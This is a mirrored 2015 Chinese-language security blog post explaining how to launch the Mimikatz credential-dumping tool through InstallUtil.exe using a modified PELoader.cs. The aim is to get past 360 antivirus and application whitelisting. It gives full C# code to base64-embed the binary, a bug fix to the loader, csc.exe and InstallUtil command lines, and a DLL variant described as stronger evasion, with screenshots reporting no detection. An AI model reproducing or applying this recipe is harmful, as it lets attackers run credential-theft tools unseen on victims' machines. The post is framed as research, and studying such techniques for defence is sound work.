作者:
三好學生
·
2015/09/17 10:43
0x00 前言
最近subTee
在其部落格中介紹瞭如何利用白名單繞過防護,但細節存在bug
,所以本文僅介紹如何修復其bug
並利用該方法繞過360
,更多利用方法值得探索
部落格連結:
http://subt0x10.blogspot.hk/(需翻牆)
文章地址:
http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻牆)
0x01 測試目標
下載最新版本Mimikatz
,實現繞過防毒軟體的查殺。
0x02 測試環境
作業系統:Win7 x64
mimikatz版本:2.0 alpha 20150906 (oe.eo) edition
(目前為止最新)
下載連結:https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906
測試日期:9/14/2015
0x03 實際測試
建議先了解參考連結,連結中提到的相關基礎知識不做再次介紹
1、下載最新mimikatz,測試查殺情況
毫無疑問,被查殺,如圖
![enter image description here](https://i.iter01.com/images/464b101c5e85b640b03637945dbf96e38083096d0485940075157cde86299be6.jpg)
2、利用InstallUtil.exe執行程式
(1)下載https://gist.github.com/subTee/00cdac8990584bd2c2fe並儲存為PELoader.cs
(2)參照部落格中的示例,執行如下程式碼:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如圖,生成PELoader.exe
,然後透過InstallUtil.exe
執行PELoader.exe
![enter image description here](https://i.iter01.com/images/71322b73f269ccd56e021b04c54ef780af69a34c51614ddbaf1775baa50a3b12.jpg)
![enter image description here](https://i.iter01.com/images/10d9e9ac9cceffacde22129e02bb26a463601c9d1d2e27474d95ec3529ab7746.jpg)
![enter image description here](https://i.iter01.com/images/1f02d9c8f53fc3a3fee4bd169bb7fa9160e95dfb86d808b1f70893a26b141091.jpg)
成功載入執行mimikatz
程式顯示為InstallUtil.exe
,如圖
![enter image description here](https://i.iter01.com/images/8b43706cae523f3b729cc3df6f3e3c8d672ff9848598c8aff9184cf7de887bbb.jpg)
(3)測試生成的PELoader.exe
查殺情況
如圖,360成功檢測威脅
![enter image description here](https://i.iter01.com/images/abe28bf97e605c1905c821009302ea66648a13787ea34e7d49572d54d3e09637.jpg)
(4)嘗試修改PELoader.cs
閱讀程式碼發現Line853-856
儲存了base64
加密後的mimikatz
![enter image description here](https://i.iter01.com/images/dad155507d296b1b424d5743571382a7b7c86686e5e63949a89e40f74e99446d.jpg)
那麼參照作者給出的修改方法修改
作者給出的修改方法如下:
* Base64 Encode Mimikatz In PowerShell- $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64") *
[OR]
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); *
(5)測試Base64 Encode Mimikatz In PowerShell
按照作者給出的方法對mimikatz
作base64
編碼並儲存在Mimikatz.b64檔案中
如圖
![enter image description here](https://i.iter01.com/images/69e11aafbb30e89e9eaa208b813a273c0ca5dadd265ee8172a9d2bb890d5ba25.jpg)
執行Powershell
程式碼
執行後生成Mimikatz.b64
,如圖
![enter image description here](https://i.iter01.com/images/dfff12f85158d944b3ba3a5068100ea9b04703f931e46eef16df0e51027fd4ff.jpg)
開啟將內容複製到PELoader.cs
中的變數KatzCompressed
的定義中,如圖
![enter image description here](https://i.iter01.com/images/b67446c3b8187433ce2798dae42b0f4e6d62a82a5effb941b8b78c0192638008.jpg)
按照步驟(2)執行測試,發現錯誤,如圖
![enter image description here](https://i.iter01.com/images/ed0b6715fb00f9274e91e6cddb7dd44e1ce24c516eba8f359ed9fd7755b94f2d.jpg)
0x04 分析
作者給出的例項程式碼如果無法修改,未免太雞肋,必須找到修改方法,實現執行任意程式
0x05 解決方案
在做了多次實驗並研究程式碼後成功找到了錯誤原因:
Powershell
作base64
編碼同c#
對base64
解碼之間存在解析錯誤
解決步驟:
(1)使用c#對mimikatz作base64加密
程式碼如下:
using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace test1
{
class Program
{
static void Main(string[] args)
{
byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
sw.Write(AsBase64String);
sw.Close();
}
}
}
我使用的環境是vs2012
,新建c#
工程,填寫以上程式碼,編譯後執行,生成新的mimikatz.b64
,如圖
![enter image description here](https://i.iter01.com/images/2c5f1629563df3bc728e2baa9809d4bbb644104eb1c0a58152c1bf892cb1ee43.jpg)
細心的同學可以發現和之前使用Powershell
生成的mimikatz.b64
有所區別
(2)替換變數KatzCompressed
的定義內容
如圖
![enter image description here](https://i.iter01.com/images/648396ab6a44c8c69543bb092f7d0acf26021c0053e61cb5d7c884bf1b1f1ab5.jpg)
(3)修改解密過程
定位PELoader.cs
Line106,去掉
byte[] decompressed = Decompress(FromBase64);
在前面新增“//”即可,如圖
![enter image description here](https://i.iter01.com/images/ca72ba72b2f7cf6034bd59b9a45237066c58cf8b50b48a61862205fc8da854b3.jpg)
(4)再次編譯並利用InstallUtil.exe
執行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如圖
![enter image description here](https://i.iter01.com/images/0457bf718b07006cfd45ad87d2db4af2207aa0683fd7a76b23b6334c77e26d09.jpg)
證明修改成功,能夠順利執行我們修改的程式碼
(5)增強免殺
採用如下生成步驟:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll
如圖
![enter image description here](https://i.iter01.com/images/86ebf81a44d7844669a929611413f975b75e100337c9ad4d086934147d0a716d.jpg)
也可以成功載入mimikatz
測試查殺情況
如圖
![enter image description here](https://i.iter01.com/images/e96088a58be6690af1252e15e78a1639611a672e36a4479f4302b729a21c9463.jpg)
![enter image description here](https://i.iter01.com/images/d7135d69e2a803ec2fd8d8192459fde82fc6f435a5cb1a68829cbcdde66f9d45.jpg)
![enter image description here](https://i.iter01.com/images/282148628150503096702ef3b1e87f2455d8adf52710f1f7e949d527cfbaec41.jpg)
![enter image description here](https://i.iter01.com/images/ccab0e0f81e233584a9e61d7141f6414eaa7e71b89910dff8c86277be5d8113f.jpg)
![enter image description here](https://i.iter01.com/images/3e9be5501cb8297c60cfcc0d7598511441df486128cb17c3f7ea1d6b8707ca54.jpg)
![enter image description here](https://i.iter01.com/images/72b244e3ca05cb9b1174b2511f9ea5755bd31e334d84473c8f2eff38658e6376.jpg)
注:測試全過程開啟360,主動防禦未觸發
0x06 小結
透過InstallUtil.exe
執行程式的方法不僅可使程式逃過防毒軟體的查殺,更能夠規避程式執行白名單的限制,其他作業系統下的情況有所不同,更多細節值得研究。
參照zone
中大家的建議,希望這篇文章是大家喜歡看到的型別:)
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!